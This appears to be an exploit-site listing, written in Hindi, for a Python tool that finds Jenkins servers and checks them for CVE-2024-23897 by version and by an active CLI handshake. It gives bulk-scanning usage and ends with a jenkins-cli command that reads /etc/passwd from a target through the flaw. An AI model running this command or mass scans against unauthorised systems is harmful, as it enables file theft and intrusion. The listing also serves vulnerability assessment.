Exploit for jenkins_scan

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-W41L3R-JENKINS_SCAN
# jenkins_scan

जेनकिंस वातावरण खोजें और CVE-2024-23897 की जाँच करें

## यह कैसे काम करता है

### जेनकिंस का पता लगाना

पथों का परीक्षण: /, /login, /oops, /api/json, /cli, /jenkins/, /jenkins/api/json

इसके माध्यम से पहचानता है:

  1. Header X-Jenkins — अधिक विश्वसनीय, संस्करण भी लौटाता है
  2. Header X-Hudson — पुराने उदाहरण
  3. Body HTML — स्ट्रिंग्स जैसे "login to jenkins", "hudson.model", आदि।
  4. /api/json — JSON संरचना (_class, jobs, views) से पुष्टि करता है



### CVE-2024-23897 की जाँच

निष्क्रिय (डिफ़ॉल्ट): पता लगाए गए संस्करण की thresholds से तुलना करता है:

  * Weekly: < 2.442 → असुरक्षित
  * LTS: < 2.426.3 → असुरक्षित



सक्रिय (--active): HTTP पर Jenkins CLI के बाइनरी प्रोटोकॉल का हैंडशेक भेजता है। यदि सर्वर 200 + Content-Type: application/octet-stream के साथ प्रतिक्रिया करता है, तो यह पुष्टि करता है कि CLI चैनल खुला है और exploit लागू है।

## उपयोग

### बुनियादी स्कैन

python jenkins_scan.py -f urls.txt

### सक्रिय प्रोब + Burp प्रॉक्सी के रूप में + फ़ाइल में आउटपुट

python jenkins_scan.py -f urls.txt --active --proxy http://127.0.0.1:8080 -o resultados.txt

### 20 थ्रेड, वर्बोज़, बिना रंग (pipe/grep के लिए)

python jenkins_scan.py -f urls.txt -t 20 -v --no-color

### असुरक्षित लक्ष्य पर मैन्युअल रूप से exploit की पुष्टि करें

java -jar jenkins-cli.jar -s http://TARGET/ who-am-i "@/etc/passwd"